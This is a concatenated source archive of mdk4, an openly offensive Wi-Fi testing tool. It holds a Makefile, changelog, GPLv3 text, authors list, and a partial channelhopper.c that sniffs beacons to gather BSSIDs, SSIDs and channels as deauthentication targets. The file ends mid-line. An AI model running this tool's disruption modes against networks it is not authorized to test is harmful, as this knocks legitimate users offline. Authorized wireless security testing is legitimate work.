mdk4-master/0000755000175000017500000000000013525065636013775 5ustar samuelophsamuelophmdk4-master/Makefile0000644000175000017500000000062313525065636015436 0ustar samuelophsamuelophDESTDIR = PREFIX = /usr/local SBINDIR = $(PREFIX)/sbin MANDIR = $(PREFIX)/share/man SRC = src all: clean $(MAKE) -C $(SRC) install: all PREFIX=$(DESTDIR)$(PREFIX) $(MAKE) -C $(SRC) install install -D -m 0644 man/mdk4.1 $(DESTDIR)$(MANDIR)/man8/mdk4.1 gzip -f $(DESTDIR)$(MANDIR)/man8/mdk4.1 .PHONY : clean clean: $(MAKE) -C $(SRC) clean test: $(MAKE) -C $(SRC) test distclean: clean mdk4-master/CHANGELOG0000644000175000017500000000056013525065636015210 0ustar samuelophsamuelophMDK4 Changelog V1: *Support two wireless card, one for receiving data, another for injecting data *Amok mode(option d) Handle more packet types when sniffing data frames to find targets Support block the specified ESSID/BSSID/Client MAC in command option MDK3 v8: * Updated OSdep v7: Initial Release of new codebase * Complete Rewrite * Tons of new features mdk4-master/COPYING0000644000175000017500000010451313525065636015034 0ustar samuelophsamueloph GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . mdk4-master/AUTHORS0000644000175000017500000000062113525065636015044 0ustar samuelophsamuelophMDK4 updated by E7mer MDK3 written by Pedro Larbig "ASPj" , Using the 'osdep' Injection Library from www.aircrack-ng.org Including several patches and addons from the following contributors: Antragon, moongray, Ace, Zero_Chaos, Hirte, thefkboss, ducttape, telek0miker, Le_Vert, sorbo, Andy Green, bahathir, Dawid Gajownik and Alexander Oberle THANK YOU! mdk4-master/src/0000755000175000017500000000000013525065636014564 5ustar samuelophsamuelophmdk4-master/src/channelhopper.c0000644000175000017500000003204413525065636017561 0ustar samuelophsamueloph#include #include #include #include #include #include #include #include #include #include #ifdef __linux__ #include #include #include #include #include #include #include #include #include #include #else #warning NOT COMPILING FOR LINUX #endif #include "osdep.h" #include "./attacks/deauth.h" #define MAX_CHAN_COUNT 128 struct channel{ int chan; int hop; }; int lpos_x = 0; volatile struct channel chans [MAX_CHAN_COUNT] = { {1, 1}, {7, 1}, {13, 1}, {2, 1}, {8, 1}, {3, 1}, {14, 1}, {9, 1}, {4, 1}, {10, 1}, {5, 1}, {11, 1}, {6, 1}, {12, 1}, {0, 0} }; int lpos_in = 0; int lpos_out = 0; int chans_in [MAX_CHAN_COUNT] = {0}; int chans_out [MAX_CHAN_COUNT] = {0}; pthread_t *hopper = NULL; pthread_t chan_sniffer = NULL; int hopper_useconds = 0; volatile int sniff = 0; pthread_mutex_t chan_thread_mutex; extern char *osdep_iface_in; extern char *osdep_iface_out; extern void *global_cur_options; extern struct attacks *global_cur_attack; // deauth extern struct ether_addr mac_block; extern unsigned char essid_block[33]; extern unsigned char essid_len; /***********************************nl80211******************************************/ struct nl80211_state { struct nl_sock *nl_sock; int nl80211_id; }; enum command_identify_by { CIB_NONE, CIB_PHY, CIB_NETDEV, CIB_WDEV, }; enum id_input { II_NONE, II_NETDEV, II_PHY_NAME, II_PHY_IDX, II_WDEV, }; struct channels_ctx { int last_band; bool width_40; bool width_80; bool width_160; }; #define BIT(x) (1ULL<<(x)) /* libnl 1.x compatibility code */ #if !defined(CONFIG_LIBNL20) && !defined(CONFIG_LIBNL30) static inline struct nl_handle *nl_socket_alloc(void) { return nl_handle_alloc(); } static inline void nl_socket_free(struct nl_sock *h) { nl_handle_destroy(h); } static inline int nl_socket_set_buffer_size(struct nl_sock *sk, int rxbuf, int txbuf) { return nl_set_buffer_size(sk, rxbuf, txbuf); } #endif /* CONFIG_LIBNL20 && CONFIG_LIBNL30 */ static int nl80211_init(struct nl80211_state *state) { int err; state->nl_sock = nl_socket_alloc(); if (!state->nl_sock) { fprintf(stderr, "Failed to allocate netlink socket.\n"); return -ENOMEM; } if (genl_connect(state->nl_sock)) { fprintf(stderr, "Failed to connect to generic netlink.\n"); err = -ENOLINK; goto out_handle_destroy; } nl_socket_set_buffer_size(state->nl_sock, 8192, 8192); state->nl80211_id = genl_ctrl_resolve(state->nl_sock, "nl80211"); if (state->nl80211_id < 0) { fprintf(stderr, "nl80211 not found.\n"); err = -ENOENT; goto out_handle_destroy; } return 0; out_handle_destroy: nl_socket_free(state->nl_sock); return err; } static void nl80211_cleanup(struct nl80211_state *state) { nl_socket_free(state->nl_sock); } static int error_handler(struct sockaddr_nl *nla, struct nlmsgerr *err, void *arg) { int *ret = arg; *ret = err->error; return NL_STOP; } static int finish_handler(struct nl_msg *msg, void *arg) { int *ret = arg; *ret = 0; return NL_SKIP; } static int ack_handler(struct nl_msg *msg, void *arg) { int *ret = arg; *ret = 0; return NL_STOP; } static int (*registered_handler)(struct nl_msg *, void *); static void *registered_handler_data; void register_handler(int (*handler)(struct nl_msg *, void *), void *data) { registered_handler = handler; registered_handler_data = data; } int valid_handler(struct nl_msg *msg, void *arg) { if (registered_handler) return registered_handler(msg, registered_handler_data); return NL_OK; } int ieee80211_channel_to_frequency(int chan, enum nl80211_band band) { /* see 802.11 17.3.8.3.2 and Annex J * there are overlapping channel numbers in 5GHz and 2GHz bands */ if (chan <= 0) return 0; /* not supported */ switch (band) { case NL80211_BAND_2GHZ: if (chan == 14) return 2484; else if (chan < 14) return 2407 + chan * 5; break; case NL80211_BAND_5GHZ: if (chan >= 182 && chan <= 196) return 4000 + chan * 5; else return 5000 + chan * 5; break; case NL80211_BAND_60GHZ: if (chan < 5) return 56160 + chan * 2160; break; default: ; } return 0; /* not supported */ } int ieee80211_frequency_to_channel(int freq) { /* see 802.11-2007 17.3.8.3.2 and Annex J */ if (freq == 2484) return 14; else if (freq < 2484) return (freq - 2407) / 5; else if (freq >= 4910 && freq <= 4980) return (freq - 4000) / 5; else if (freq <= 45000) /* DMG band lower limit */ return (freq - 5000) / 5; else if (freq >= 58320 && freq <= 64800) return (freq - 56160) / 2160; else return 0; } static char *dfs_state_name(enum nl80211_dfs_state state) { switch (state) { case NL80211_DFS_USABLE: return "usable"; case NL80211_DFS_AVAILABLE: return "available"; case NL80211_DFS_UNAVAILABLE: return "unavailable"; default: return "unknown"; } } static int print_channels_handler(struct nl_msg *msg, void *arg) { struct genlmsghdr *gnlh = nlmsg_data(nlmsg_hdr(msg)); struct channels_ctx *ctx = arg; struct nlattr *tb_msg[NL80211_ATTR_MAX + 1]; struct nlattr *tb_band[NL80211_BAND_ATTR_MAX + 1]; struct nlattr *tb_freq[NL80211_FREQUENCY_ATTR_MAX + 1]; struct nlattr *nl_band; struct nlattr *nl_freq; int rem_band, rem_freq; nla_parse(tb_msg, NL80211_ATTR_MAX, genlmsg_attrdata(gnlh, 0), genlmsg_attrlen(gnlh, 0), NULL); if (tb_msg[NL80211_ATTR_WIPHY_BANDS]) { nla_for_each_nested(nl_band, tb_msg[NL80211_ATTR_WIPHY_BANDS], rem_band) { if (ctx->last_band != nl_band->nla_type) { ctx->width_40 = false; ctx->width_80 = false; ctx->width_160 = false; ctx->last_band = nl_band->nla_type; } nla_parse(tb_band, NL80211_BAND_ATTR_MAX, nla_data(nl_band), nla_len(nl_band), NULL); if (tb_band[NL80211_BAND_ATTR_HT_CAPA]) { __u16 cap = nla_get_u16(tb_band[NL80211_BAND_ATTR_HT_CAPA]); if (cap & BIT(1)) ctx->width_40 = true; } if (tb_band[NL80211_BAND_ATTR_VHT_CAPA]) { __u32 capa; ctx->width_80 = true; capa = nla_get_u32(tb_band[NL80211_BAND_ATTR_VHT_CAPA]); switch ((capa >> 2) & 3) { case 2: /* width_80p80 = true; */ /* fall through */ case 1: ctx->width_160 = true; break; } } if (tb_band[NL80211_BAND_ATTR_FREQS]) { nla_for_each_nested(nl_freq, tb_band[NL80211_BAND_ATTR_FREQS], rem_freq) { uint32_t freq; nla_parse(tb_freq, NL80211_FREQUENCY_ATTR_MAX, nla_data(nl_freq), nla_len(nl_freq), NULL); if (!tb_freq[NL80211_FREQUENCY_ATTR_FREQ]) continue; freq = nla_get_u32(tb_freq[NL80211_FREQUENCY_ATTR_FREQ]); chans[lpos_x].chan = ieee80211_frequency_to_channel(freq); chans[lpos_x].hop = 0; lpos_x++; if (tb_freq[NL80211_FREQUENCY_ATTR_DISABLED]) { continue; } } } } } return NL_SKIP; } static int handle_channels(struct nl80211_state *state, struct nl_msg *msg) { static struct channels_ctx ctx = { .last_band = -1, }; nla_put_flag(msg, NL80211_ATTR_SPLIT_WIPHY_DUMP); nlmsg_hdr(msg)->nlmsg_flags |= NLM_F_DUMP; register_handler(print_channels_handler, &ctx); return 0; } /*************************************************************************/ unsigned char get_channel_from_beacon(struct packet *pkt) { int ie_type; int ie_len; unsigned char *pie_data; int ie_data_len; unsigned char channel = 0; if(pkt == NULL || pkt->len <= sizeof(struct ieee_hdr) + sizeof(struct beacon_fixed) ) return 0; pie_data = pkt->data + sizeof(struct ieee_hdr) + sizeof(struct beacon_fixed); ie_data_len = pkt->len - (sizeof(struct ieee_hdr) + sizeof(struct beacon_fixed)); while(ie_data_len > 0){ ie_type = pie_data[0]; ie_len = pie_data[1]; if(ie_type == 0x03){ // Tag Number: DS Parameter Set, (channel), b/g channel = pie_data[2]; break; }else if(ie_type == 0x3D){ // Tag Number: HT Information , (channel), 802.11n channel = pie_data[2]; break; } pie_data += (1+1+ie_len); ie_data_len -=(1+1+ie_len); } return channel; } void channel_sniff() { struct packet sniffed; struct ieee_hdr *hdr; struct ether_addr bssid; char ssid[32]; int ie_type; int ie_len; unsigned char *pie_data; unsigned char channel; int i; while(sniff) { sniffed = osdep_read_packet(); if (sniffed.len == 0){ usleep(10); continue; } hdr = (struct ieee_hdr *) sniffed.data; if (hdr->type == IEEE80211_TYPE_BEACON){ // channel channel = get_channel_from_beacon(&sniffed); // BSSID memcpy(bssid.ether_addr_octet, sniffed.data + 16, ETHER_ADDR_LEN); pie_data = sniffed.data + sizeof(struct ieee_hdr) + sizeof(struct beacon_fixed); // ssid ie_len = pie_data[1]; pie_data += 2; memcpy(ssid, pie_data, ie_len); if(global_cur_attack->mode_identifier == DEAUTH_MODE){ if(BLACKLIST_FROM_ESSID == ((struct deauth_options 